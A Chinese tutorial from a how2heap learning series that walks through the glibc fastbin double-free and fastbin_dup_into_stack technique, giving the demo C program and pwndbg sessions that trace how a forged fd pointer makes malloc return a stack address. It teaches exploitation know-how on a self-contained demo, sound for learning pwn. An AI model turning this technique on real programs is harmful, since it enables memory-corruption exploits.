从零开始学howtoheap:fastbins的double-free攻击实操1

how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

1.fastbins的double-free攻击

下面的程序展示了fastbins的double-free攻击,可以泄露出一块已经被分配的内存指针。fastbins 可以看成一个后进先出的栈,使用单链表来实现,通过fastbin->fd来遍历。由于free的过程会对free list做检查,我们不能连续两次free同一个chunk,所以这里在两次free 之间,增加了一次对其他chunk的free 过程,从而绕过了检查顺利执行,然后再malloc三次,就在同一个地址malloc了两次,也就有了两个指向同一块内存区域的指针。更具体地展示了上一个程序从零开始学howtoheap:理解fastbins的double-free攻击-CSDN博客所介绍的技巧,通过欺骗malloc 来返回一个我们可控的区域的指针 (在这个例子中,我们可以返回一个栈指针)

2.fastbin_dup_into_stack程序

​ 这个程序更具体地展示了上一个程序所介绍的技巧,通过欺骗malloc 来返回一个我们可控的区域的指针 (在这个例子中,我们可以返回一个栈指针)

​ 源码如下。

cpp 复制代码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
    fprintf(stderr, "这个例子拓展自 fastbin_dup.c,通过欺骗 malloc 使得返回一个指向受控位置的指针(本例为栈上)\n");
    unsigned long long stack_var;

    fprintf(stderr, "我们想通过 malloc 申请到 %p.\n", 8+(char *)&stack_var);

    fprintf(stderr, "先申请3 个 chunk\n");
    char* a = malloc(8);
    strcpy(a, "AAAAAAAA");
    char* b = malloc(8);
    strcpy(b, "BBBBBBBB");
    char* c = malloc(8);
    strcpy(c, "CCCCCCCC");
    
    fprintf(stderr, "chunk a: %p\n", a);
    fprintf(stderr, "chunk b: %p\n", b);
    fprintf(stderr, "chunk c: %p\n", c);

    fprintf(stderr, "free 掉 chunk a\n");
    free(a);

    fprintf(stderr, "如果还对 %p 进行 free, 程序会崩溃。因为 %p 现在是 fastbin 的第一个\n", a, a);
    // free(a);
    fprintf(stderr, "先对 b %p 进行 free\n", b);
    free(b);

    fprintf(stderr, "接下来就可以对 %p 再次进行 free 了, 现在已经不是它在 fastbin 的第一个了\n", a);
    free(a);

    fprintf(stderr, "现在 fastbin 的链表是 [ %p, %p, %p ] 接下来通过修改 %p 上的内容来进行攻击.\n", a, b, a, a);
    unsigned long long *d = malloc(8);

    fprintf(stderr, "第一次 malloc(8): %p\n", d);
    char* e = malloc(8);
    strcpy(e, "EEEEEEEE");
    fprintf(stderr, "第二次 malloc(8): %p\n", e);
    fprintf(stderr, "现在 fastbin 表中只剩 [ %p ] 了\n", a);
    fprintf(stderr, "接下来往 %p 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去\n", a);
    stack_var = 0x20;

    fprintf(stderr, "现在覆盖 %p 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置\n", a);
    *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
    
    char* f = malloc(8);
    strcpy(f, "FFFFFFFF");
    fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);
    char* g = malloc(8);
    strcpy(g, "GGGGGGGG");
    fprintf(stderr, "这一次 malloc(8) 就申请到了栈上去: %p\n", g);
}

3.调试fastbin_dup_into_stack

3.1 获得可执行程序

gcc -g fastbin_dup_into_stack.c -o fastbin_dup_into_stack

3.2 第一次调试程序

调试环境搭建可参考环境从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

bash 复制代码
root@pwn_test1604:/ctf/work/how2heap# gdb ./fastbin_dup_into_stack
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./fastbin_dup_into_stack...done.
pwndbg> r
Starting program: /ctf/work/how2heap/fastbin_dup_into_stack 
这个例子拓展自 fastbin_dup.c,通过欺骗 malloc 使得返回一个指向受控位置的指针(本例为栈上)
我们想通过 malloc 申请到 0x7fffffffe570.
先申请3 个 chunk
chunk a: 0x603010
chunk b: 0x603030
chunk c: 0x603050
free 掉 chunk a
如果还对 0x603010 进行 free, 程序会崩溃。因为 0x603010 现在是 fastbin 的第一个
先对 b 0x603030 进行 free
接下来就可以对 0x603010 再次进行 free 了, 现在已经不是它在 fastbin 的第一个了
现在 fastbin 的链表是 [ 0x603010, 0x603030, 0x603010 ] 接下来通过修改 0x603010 上的内容来进行攻击.
第一次 malloc(8): 0x603010
第二次 malloc(8): 0x603030
现在 fastbin 表中只剩 [ 0x603010 ] 了
接下来往 0x603010 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去
现在覆盖 0x603010 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置
第三次 malloc(8): 0x603010, 把栈地址放到 fastbin 链表中
这一次 malloc(8) 就申请到了栈上去: 0x7fffffffe570
[Inferior 1 (process 147) exited normally]
pwndbg> 

3.3 第二次调试程序

3.3.1 下相应的断点并走起

三次malloc之后

bash 复制代码
pwndbg> b 20
Breakpoint 1 at 0x400786: file fastbin_dup_into_stack.c, line 20.
pwndbg> r
Starting program: /ctf/work/how2heap/fastbin_dup_into_stack 
这个例子拓展自 fastbin_dup.c,通过欺骗 malloc 使得返回一个指向受控位置的指针(本例为栈上)
我们想通过 malloc 申请到 0x7fffffffe570.
先申请3 个 chunk

Breakpoint 1, main () at fastbin_dup_into_stack.c:20
20          fprintf(stderr, "chunk a: %p\n", a);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x603050 ◂--- 'CCCCCCCC'
 RBX  0x0
 RCX  0x4343434343434343 ('CCCCCCCC')
 RDX  0x603050 ◂--- 'CCCCCCCC'
 RDI  0x0
 RSI  0x603060 ◂--- 0x0
 R8   0x603000 ◂--- 0x0
 R9   0xd
 R10  0x7ffff7dd1b78 (main_arena+88) ---▸ 0x603060 ◂--- 0x0
 R11  0x0
 R12  0x4005b0 (_start) ◂--- 0x89485ed18949ed31
 R13  0x7fffffffe690 ◂--- 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5b0 ---▸ 0x400a20 (__libc_csu_init) ◂--- 0x41ff894156415741
 RSP  0x7fffffffe560 ---▸ 0x7ffff7ffe168 ◂--- 0x0
 RIP  0x400786 (main+224) ◂--- 0x48002018d3058b48
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x400786 <main+224>    mov    rax, qword ptr [rip + 0x2018d3] <0x602060>
   0x40078d <main+231>    mov    rdx, qword ptr [rbp - 0x40]
   0x400791 <main+235>    mov    esi, 0x400b64
   0x400796 <main+240>    mov    rdi, rax
   0x400799 <main+243>    mov    eax, 0
   0x40079e <main+248>    call   fprintf@plt <0x400570>
 
   0x4007a3 <main+253>    mov    rax, qword ptr [rip + 0x2018b6] <0x602060>
   0x4007aa <main+260>    mov    rdx, qword ptr [rbp - 0x38]
   0x4007ae <main+264>    mov    esi, 0x400b71
   0x4007b3 <main+269>    mov    rdi, rax
   0x4007b6 <main+272>    mov    eax, 0
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c
   15     char* b = malloc(8);
   16     strcpy(b, "BBBBBBBB");
   17     char* c = malloc(8);
   18     strcpy(c, "CCCCCCCC");
   19     
 ► 20     fprintf(stderr, "chunk a: %p\n", a);
   21     fprintf(stderr, "chunk b: %p\n", b);
   22     fprintf(stderr, "chunk c: %p\n", c);
   23 
   24     fprintf(stderr, "free 掉 chunk a\n");
   25     free(a);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe560 ---▸ 0x7ffff7ffe168 ◂--- 0x0
01:0008│      0x7fffffffe568 ◂--- 0x0
02:0010│      0x7fffffffe570 ---▸ 0x603010 ◂--- 'AAAAAAAA'
03:0018│      0x7fffffffe578 ---▸ 0x603030 ◂--- 'BBBBBBBB'
04:0020│      0x7fffffffe580 ---▸ 0x603050 ◂--- 'CCCCCCCC'
05:0028│      0x7fffffffe588 ◂--- 0x0
06:0030│      0x7fffffffe590 ---▸ 0x400a20 (__libc_csu_init) ◂--- 0x41ff894156415741
07:0038│      0x7fffffffe598 ---▸ 0x4005b0 (_start) ◂--- 0x89485ed18949ed31
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           400786 main+224
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup_into_stack.c:20
pwndbg> parsehead
Undefined command: "parsehead".  Try "help".
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x20                 Used                None              None
0x603020            0x0                 0x20                 Used                None              None
0x603040            0x0                 0x20                 Used                None              None
pwndbg> head
Undefined command: "head".  Try "help".
pwndbg> heap
heapbase : 0x603000
pwndbg> x/20gx 0x603000                                                                                                                                                                                            
0x603000:       0x0000000000000000      0x0000000000000021
0x603010:       0x4141414141414141      0x0000000000000000
0x603020:       0x0000000000000000      0x0000000000000021
0x603030:       0x4242424242424242      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000021
0x603050:       0x4343434343434343      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000020fa1
0x603070:       0x0000000000000000      0x0000000000000000
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000000      0x0000000000000000
pwndbg> 
3.3.2​ 三次 free 之后

可以看到由于 double free 造成的循环的指针。

bash 复制代码
pwndbg> b 35
Breakpoint 2 at 0x40087a: file fastbin_dup_into_stack.c, line 35.
pwndbg> r

pwndbg> c
Continuing.
chunk a: 0x603010
chunk b: 0x603030
chunk c: 0x603050
free 掉 chunk a
如果还对 0x603010 进行 free, 程序会崩溃。因为 0x603010 现在是 fastbin 的第一个
先对 b 0x603030 进行 free
接下来就可以对 0x603010 再次进行 free 了, 现在已经不是它在 fastbin 的第一个了

Breakpoint 2, main () at fastbin_dup_into_stack.c:35
35          fprintf(stderr, "现在 fastbin 的链表是 [ %p, %p, %p ] 接下来通过修改 %p 上的内容来进行攻击.\n", a, b, a, a);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x603020 ◂--- 0x0
 RBX  0x0
 RCX  0x7ffff7b04200 (__openat_2+16) ◂--- cmp    eax, 0x410000 /* '=' */
 RDX  0x603020 ◂--- 0x0
 RDI  0xffffffff
 RSI  0x7ffff7dd1b28 (main_arena+8) ---▸ 0x603000 ◂--- 0x0
 R8   0x603010 ---▸ 0x603020 ◂--- 0x0
 R9   0x0
 R10  0xe4acace7849ae720
 R11  0x246
 R12  0x4005b0 (_start) ◂--- 0x89485ed18949ed31
 R13  0x7fffffffe690 ◂--- 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5b0 ---▸ 0x400a20 (__libc_csu_init) ◂--- 0x41ff894156415741
 RSP  0x7fffffffe560 ---▸ 0x7ffff7ffe168 ◂--- 0x0
 RIP  0x40087a (main+468) ◂--- 0x48002017df058b48
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x40087a <main+468>    mov    rax, qword ptr [rip + 0x2017df] <0x602060>
   0x400881 <main+475>    mov    rdi, qword ptr [rbp - 0x40]
   0x400885 <main+479>    mov    rsi, qword ptr [rbp - 0x40]
   0x400889 <main+483>    mov    rcx, qword ptr [rbp - 0x38]
   0x40088d <main+487>    mov    rdx, qword ptr [rbp - 0x40]
   0x400891 <main+491>    mov    r9, rdi
   0x400894 <main+494>    mov    r8, rsi
   0x400897 <main+497>    mov    esi, 0x400c80
   0x40089c <main+502>    mov    rdi, rax
   0x40089f <main+505>    mov    eax, 0
   0x4008a4 <main+510>    call   fprintf@plt <0x400570>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c
   30     free(b);
   31 
   32     fprintf(stderr, "接下来就可以对 %p 再次进行 free 了, 现在已经不是它在 fastbin 的第一个了\n", a);
   33     free(a);
   34 
 ► 35     fprintf(stderr, "现在 fastbin 的链表是 [ %p, %p, %p ] 接下来通过修改 %p 上的内容来进行攻击.\n", a, b, a, a);
   36     unsigned long long *d = malloc(8);
   37 
   38     fprintf(stderr, "第一次 malloc(8): %p\n", d);
   39     char* e = malloc(8);
   40     strcpy(e, "EEEEEEEE");
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe560 ---▸ 0x7ffff7ffe168 ◂--- 0x0
01:0008│      0x7fffffffe568 ◂--- 0x0
02:0010│      0x7fffffffe570 ---▸ 0x603010 ---▸ 0x603020 ◂--- 0x0
03:0018│      0x7fffffffe578 ---▸ 0x603030 ---▸ 0x603000 ◂--- 0x0
04:0020│      0x7fffffffe580 ---▸ 0x603050 ◂--- 'CCCCCCCC'
05:0028│      0x7fffffffe588 ◂--- 0x0
06:0030│      0x7fffffffe590 ---▸ 0x400a20 (__libc_csu_init) ◂--- 0x41ff894156415741
07:0038│      0x7fffffffe598 ---▸ 0x4005b0 (_start) ◂--- 0x89485ed18949ed31
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           40087a main+468
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup_into_stack.c:35
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x20                 Freed           0x603020              None
0x603020            0x0                 0x20                 Freed           0x603000              None
0x603040            0x0                 0x20                 Used                None              None
pwndbg> x/20gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000021
0x603010:       0x0000000000603020      0x0000000000000000
0x603020:       0x0000000000000000      0x0000000000000021
0x603030:       0x0000000000603000      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000021
0x603050:       0x4343434343434343      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000020fa1
0x603070:       0x0000000000000000      0x0000000000000000
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000000      0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x603000 ---▸ 0x603020 ◂--- 0x603000
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> 
3.3.3​ 这时候我们再去malloc两次

还剩一个指向chunk a的free chunk,而前面我们也申请到了指向它的 chunk d,可以通过它编辑chunk a的fd 指针,填充一个有意义的地址:栈地址减0x8(因为伪造的chunk要有个 size,size在&stack_var - 0x8的位置上)

*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

通过调试我们可以看到,地址为0x603000chunkfd指针指向的是栈上的地址,这样的话,malloc一次之后再次申请的时候就会申请到fd指针指向的0x7fffffffe560

bash 复制代码
pwndbg> b 47
Breakpoint 3 at 0x400973: file fastbin_dup_into_stack.c, line 47.
pwndbg> c
Continuing.
现在 fastbin 的链表是 [ 0x603010, 0x603030, 0x603010 ] 接下来通过修改 0x603010 上的内容来进行攻击.
第一次 malloc(8): 0x603010
第二次 malloc(8): 0x603030
现在 fastbin 表中只剩 [ 0x603010 ] 了
接下来往 0x603010 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去
现在覆盖 0x603010 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置

Breakpoint 3, main () at fastbin_dup_into_stack.c:47
47          *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x62
 RBX  0x0
 RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂--- cmp    rax, -0xfff
 RDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂--- 0x0
 RDI  0x2
 RSI  0x7fffffffbed0 ◂--- 0xa6e8a89ce5b08ee7
 R8   0x7ffff7feb700 ◂--- 0x7ffff7feb700
 R9   0x62
 R10  0x32783020a29de98d
 R11  0x246
 R12  0x4005b0 (_start) ◂--- 0x89485ed18949ed31
 R13  0x7fffffffe690 ◂--- 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5b0 ---▸ 0x400a20 (__libc_csu_init) ◂--- 0x41ff894156415741
 RSP  0x7fffffffe560 ---▸ 0x7ffff7ffe168 ◂--- 0x0
 RIP  0x400973 (main+717) ◂--- 0x8e88348b8458d48
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x400973 <main+717>    lea    rax, [rbp - 0x48]
   0x400977 <main+721>    sub    rax, 8
   0x40097b <main+725>    mov    rdx, rax
   0x40097e <main+728>    mov    rax, qword ptr [rbp - 0x28]
   0x400982 <main+732>    mov    qword ptr [rax], rdx
   0x400985 <main+735>    mov    edi, 8
   0x40098a <main+740>    call   malloc@plt <0x400580>
 
   0x40098f <main+745>    mov    qword ptr [rbp - 0x18], rax
   0x400993 <main+749>    mov    rax, qword ptr [rbp - 0x18]
   0x400997 <main+753>    movabs rcx, 0x4646464646464646
   0x4009a1 <main+763>    mov    qword ptr [rax], rcx
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c
   42     fprintf(stderr, "现在 fastbin 表中只剩 [ %p ] 了\n", a);
   43     fprintf(stderr, "接下来往 %p 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去\n", a);
   44     stack_var = 0x20;
   45 
   46     fprintf(stderr, "现在覆盖 %p 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置\n", a);
 ► 47     *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
   48     
   49     char* f = malloc(8);
   50     strcpy(f, "FFFFFFFF");
   51     fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);
   52     char* g = malloc(8);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe560 ---▸ 0x7ffff7ffe168 ◂--- 0x0
01:0008│      0x7fffffffe568 ◂--- 0x20 /* ' ' */
02:0010│      0x7fffffffe570 ---▸ 0x603010 ---▸ 0x603020 ◂--- 0x0
03:0018│      0x7fffffffe578 ---▸ 0x603030 ◂--- 'EEEEEEEE'
04:0020│      0x7fffffffe580 ---▸ 0x603050 ◂--- 'CCCCCCCC'
05:0028│      0x7fffffffe588 ---▸ 0x603010 ---▸ 0x603020 ◂--- 0x0
06:0030│      0x7fffffffe590 ---▸ 0x603030 ◂--- 'EEEEEEEE'
07:0038│      0x7fffffffe598 ---▸ 0x4005b0 (_start) ◂--- 0x89485ed18949ed31
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           400973 main+717
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup_into_stack.c:47
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x20                 Freed           0x603020              None
0x603020            0x0                 0x20                 Freed 0x4545454545454545              None
0x603040            0x0                 0x20                 Used                None              None
pwndbg> x/20gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000021
0x603010:       0x0000000000603020      0x0000000000000000
0x603020:       0x0000000000000000      0x0000000000000021
0x603030:       0x4545454545454545      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000021
0x603050:       0x4343434343434343      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000020fa1
0x603070:       0x0000000000000000      0x0000000000000000
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000000      0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x603000 ---▸ 0x603020 ◂--- 'EEEEEEEE'
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> n
49          char* f = malloc(8);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x603010 ---▸ 0x7fffffffe560 ---▸ 0x7ffff7ffe168 ◂--- 0x0
 RBX  0x0
 RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂--- cmp    rax, -0xfff
 RDX  0x7fffffffe560 ---▸ 0x7ffff7ffe168 ◂--- 0x0
 RDI  0x2
 RSI  0x7fffffffbed0 ◂--- 0xa6e8a89ce5b08ee7
 R8   0x7ffff7feb700 ◂--- 0x7ffff7feb700
 R9   0x62
 R10  0x32783020a29de98d
 R11  0x246
 R12  0x4005b0 (_start) ◂--- 0x89485ed18949ed31
 R13  0x7fffffffe690 ◂--- 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5b0 ---▸ 0x400a20 (__libc_csu_init) ◂--- 0x41ff894156415741
 RSP  0x7fffffffe560 ---▸ 0x7ffff7ffe168 ◂--- 0x0
 RIP  0x400985 (main+735) ◂--- 0xfbf1e800000008bf
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
   0x400973 <main+717>    lea    rax, [rbp - 0x48]
   0x400977 <main+721>    sub    rax, 8
   0x40097b <main+725>    mov    rdx, rax
   0x40097e <main+728>    mov    rax, qword ptr [rbp - 0x28]
   0x400982 <main+732>    mov    qword ptr [rax], rdx
 ► 0x400985 <main+735>    mov    edi, 8
   0x40098a <main+740>    call   malloc@plt <0x400580>
 
   0x40098f <main+745>    mov    qword ptr [rbp - 0x18], rax
   0x400993 <main+749>    mov    rax, qword ptr [rbp - 0x18]
   0x400997 <main+753>    movabs rcx, 0x4646464646464646
   0x4009a1 <main+763>    mov    qword ptr [rax], rcx
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c
   44     stack_var = 0x20;
   45 
   46     fprintf(stderr, "现在覆盖 %p 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置\n", a);
   47     *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
   48     
 ► 49     char* f = malloc(8);
   50     strcpy(f, "FFFFFFFF");
   51     fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);
   52     char* g = malloc(8);
   53     strcpy(g, "GGGGGGGG");
   54     fprintf(stderr, "这一次 malloc(8) 就申请到了栈上去: %p\n", g);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rdx rsp  0x7fffffffe560 ---▸ 0x7ffff7ffe168 ◂--- 0x0
01:0008│          0x7fffffffe568 ◂--- 0x20 /* ' ' */
02:0010│          0x7fffffffe570 ---▸ 0x603010 ---▸ 0x7fffffffe560 ---▸ 0x7ffff7ffe168 ◂--- 0x0
03:0018│          0x7fffffffe578 ---▸ 0x603030 ◂--- 'EEEEEEEE'
04:0020│          0x7fffffffe580 ---▸ 0x603050 ◂--- 'CCCCCCCC'
05:0028│          0x7fffffffe588 ---▸ 0x603010 ---▸ 0x7fffffffe560 ---▸ 0x7ffff7ffe168 ◂--- 0x0
06:0030│          0x7fffffffe590 ---▸ 0x603030 ◂--- 'EEEEEEEE'
07:0038│          0x7fffffffe598 ---▸ 0x4005b0 (_start) ◂--- 0x89485ed18949ed31
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           400985 main+735
   f 1     7ffff7a2d830 __libc_start_main+240
pwndbg> x/20gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000021
0x603010:       0x00007fffffffe560      0x0000000000000000
0x603020:       0x0000000000000000      0x0000000000000021
0x603030:       0x4545454545454545      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000021
0x603050:       0x4343434343434343      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000020fa1
0x603070:       0x0000000000000000      0x0000000000000000
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000000      0x0000000000000000
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x20                 Freed     0x7fffffffe560              None
0x603020            0x0                 0x20                 Used                None              None
0x603040            0x0                 0x20                 Used                None              None
pwndbg> bin
fastbins
0x20: 0x603000 ---▸ 0x7fffffffe560 ---▸ 0x603010 ◂--- 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> 

3.3.4

最后可以看到我们已经分配栈上的内存,绕过fastbin的大小检查,并写入了数据GGGGGGGG。

bash 复制代码
pwndbg> b 47
Breakpoint 3 at 0x400973: file fastbin_dup_into_stack.c, line 47.
pwndbg> c
Continuing.
现在 fastbin 的链表是 [ 0x603010, 0x603030, 0x603010 ] 接下来通过修改 0x603010 上的内容来进行攻击.
第一次 malloc(8): 0x603010
第二次 malloc(8): 0x603030
现在 fastbin 表中只剩 [ 0x603010 ] 了
接下来往 0x603010 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去
现在覆盖 0x603010 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置

Breakpoint 3, main () at fastbin_dup_into_stack.c:47
47          *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x62
 RBX  0x0
 RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂--- cmp    rax, -0xfff
 RDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂--- 0x0
 RDI  0x2
 RSI  0x7fffffffbed0 ◂--- 0xa6e8a89ce5b08ee7
 R8   0x7ffff7feb700 ◂--- 0x7ffff7feb700
 R9   0x62
 R10  0x32783020a29de98d
 R11  0x246
 R12  0x4005b0 (_start) ◂--- 0x89485ed18949ed31
 R13  0x7fffffffe690 ◂--- 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5b0 ---▸ 0x400a20 (__libc_csu_init) ◂--- 0x41ff894156415741
 RSP  0x7fffffffe560 ---▸ 0x7ffff7ffe168 ◂--- 0x0
 RIP  0x400973 (main+717) ◂--- 0x8e88348b8458d48
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x400973 <main+717>    lea    rax, [rbp - 0x48]
   0x400977 <main+721>    sub    rax, 8
   0x40097b <main+725>    mov    rdx, rax
   0x40097e <main+728>    mov    rax, qword ptr [rbp - 0x28]
   0x400982 <main+732>    mov    qword ptr [rax], rdx
   0x400985 <main+735>    mov    edi, 8
   0x40098a <main+740>    call   malloc@plt <0x400580>
 
   0x40098f <main+745>    mov    qword ptr [rbp - 0x18], rax
   0x400993 <main+749>    mov    rax, qword ptr [rbp - 0x18]
   0x400997 <main+753>    movabs rcx, 0x4646464646464646
   0x4009a1 <main+763>    mov    qword ptr [rax], rcx
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c
   42     fprintf(stderr, "现在 fastbin 表中只剩 [ %p ] 了\n", a);
   43     fprintf(stderr, "接下来往 %p 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去\n", a);
   44     stack_var = 0x20;
   45 
   46     fprintf(stderr, "现在覆盖 %p 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置\n", a);
 ► 47     *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
   48     
   49     char* f = malloc(8);
   50     strcpy(f, "FFFFFFFF");
   51     fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);
   52     char* g = malloc(8);
